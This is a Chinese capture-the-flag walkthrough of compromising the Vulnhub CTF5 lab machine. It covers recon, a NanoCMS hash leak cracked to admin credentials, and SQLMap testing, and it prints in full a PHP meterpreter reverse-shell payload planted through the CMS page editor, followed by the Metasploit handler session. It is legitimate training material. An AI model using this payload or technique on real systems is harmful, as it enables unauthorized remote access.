Vulnhub-CTF5靶机实战

靶场 Vulnhub

WEB靶场

发布日期: 2022-05-16

更新日期: 2022-05-16

文章字数: 1.9k

阅读时长: 7 分

阅读次数:

前言

靶机下载地址：CTF5靶机下载地址

KALI地址：192.168.10.73

靶机地址：192.168.10.116

一.信息收集

1.主机发现

使用命令如下

netdiscover -r 192.168.10.73

如下图发现了，靶机IP地址

2.主机扫描

上面发现了靶机现在需要对靶机进行一系列扫描，这里使用的是nmap工具，使用命令如下

nmap -A -T4 -p- 192.168.10.116

扫描结果如下图，发现开放了一堆堆的端口

3.目录扫描

开放了一堆堆端口里面开放了80端口，那么久可以先来一波目录扫描，这里使用的是dirb，命令如下

dirb http://192.168.10.116

如下图，扫描结果如下，发现有很多目录，红色箭头是我自己感觉重要的目录

4.网页信息收集

根据上面目录扫描，其实真正有用的地方是/list和blog这个选项卡里面，比如在初步测试的时候，在list的地方出现了SQL语句报错，如下图，就只是在输入框里面输入了一个'就报错了，极度可能有SQL注入的漏洞。

然后如下图，在blog里面发现了几个选项卡可能是敏感东西，而且这个CMS是NanoCMS。

然后在网上简单查一下，这个CMS的漏洞，具体信息如下图，意思就是说有密码哈希值泄露

具体文章👉文章

然后我们访问Webmail这个选项卡，如下图，发现是一个发送邮件的程序，版本号是1.4.11。

然后在网上查一下这个程序版本的漏洞，拥有远程命令执行的漏洞，版本影响如下，刚好靶机的版本是受到影响的版本

受影响的版本 Squirrelmail Version <= 1.4.22

不受影响的版本 Squirrelmail Version > 1.4.22

我们在KALI里面搜索一下，这里使用的命令是searchsploit SquirrelMail，如下图，发现可以有利用的exp

经过简单尝试，发现需要账户和密码，但是这里没有账户和密码，就可以先把这个邮件程序放一下。

二.漏洞利用

1.SQL注入

上面网页信息收集我们在/list目录发现了可能有SQL注入的漏洞，这里我们使用SQLMAP来跑跑看看，需要做的事情就是因为发现是POST发送，所以先用BP抓包，然后把抓包的东西放在文本里，然后打开SQLMAP，命令如下。

python sqlmap.py -r 1.txt --dbs

如下图成功爆出数据库，但是经过一番探索查找，并没有发现数据库可以利用的东西并且使用了SQLMAP的--os-shell和--file-write=似乎也不行。

这里我抓到的数据包如下

POST /list/ HTTP/1.1
Host: 192.168.10.116
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.10.116
Connection: close
Referer: http://192.168.10.116/list/
Cookie: SESS9d38cf238e215f91c57bd790d23705ee=c0p7d52t4b0kipv24jq5jpdrs1
Upgrade-Insecure-Requests: 1

name=1&email=1&phone=1&org=1

2.CMS漏洞

上面SQL注入不行，那么就尝试一下CMS漏洞，上面信息收集发现了CMS可能出现密码哈希值泄露，我们把可能泄露的地址复制粘贴到我们的URL后面，如下图发现确实泄露了。

然后我们把password选项的东西拿去在线解密👉在线MD5解密，如下图，发现解密出来密码是shannon

所以这里我们就得到了一个账户密码就是

账户：admin

密码：shannon

其实这里我猜想的是ssh密码，但是失败了，后面才想到这页面上面不是有一个选项卡是后台登录地址吗，然后确实可以登录进去，用这个账户密码，如下图，成功登录！

2.1生成木马

之后熟悉了一下操作，发现在上面的New Page选项可以写入文件！！这里我们直接写入木马即可，首先打开KALI，我们使用命令如下来生成木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.73 LPORT=4444 -f raw

木马内容如下

/*<?php /**/ error_reporting(0); $ip = '192.168.10.73'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

然后我们把生成的木马内容复制到上面的内容区域，如下图，然后我们点击添加即可。

之后我们回到KALI，开启监听，我们开启msfconsole，完整操作流程如下。

┌──(root㉿kali)-[~/Desktop]
└─# msfconsole                                                                   
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.1.27-dev                          ]
+ -- --=[ 2196 exploits - 1162 auxiliary - 400 post       ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Tired of setting RHOSTS for modules? Try 
globally setting it with setg RHOSTS x.x.x.x

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.10.73
LHOST => 192.168.10.73
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.10.73:4444

然后我们回到靶机网页的主页，发现多了我们创建的选项卡。

然后我们点击即可，然后就成功反弹了shell！！，如下图成功反弹

然后我们输入shell来获取终端，之后我们查找python有没有，使用命令是whereis python如下图，发现靶机有python

然后我们输入如下命令来重新获取一个终端

python -c "import pty; pty.spawn("/bin/bash")"

3.提权

获取到了低权限之后就可以尝试提权了，其实到这里之后就可以尝试看各种敏感信息比如/etc/passwd,/home这些目录下的东西，还有系统版本，经过初步测试，发现没有发现什么东西，经过深层的探索之后，在/home目录下面有五个用户的目录，其他四个没啥东西，但是在patrick有大东西，在patrick的家目录下面，的隐藏文件，如下图，Tomboy差不多是一个记录笔记的东西。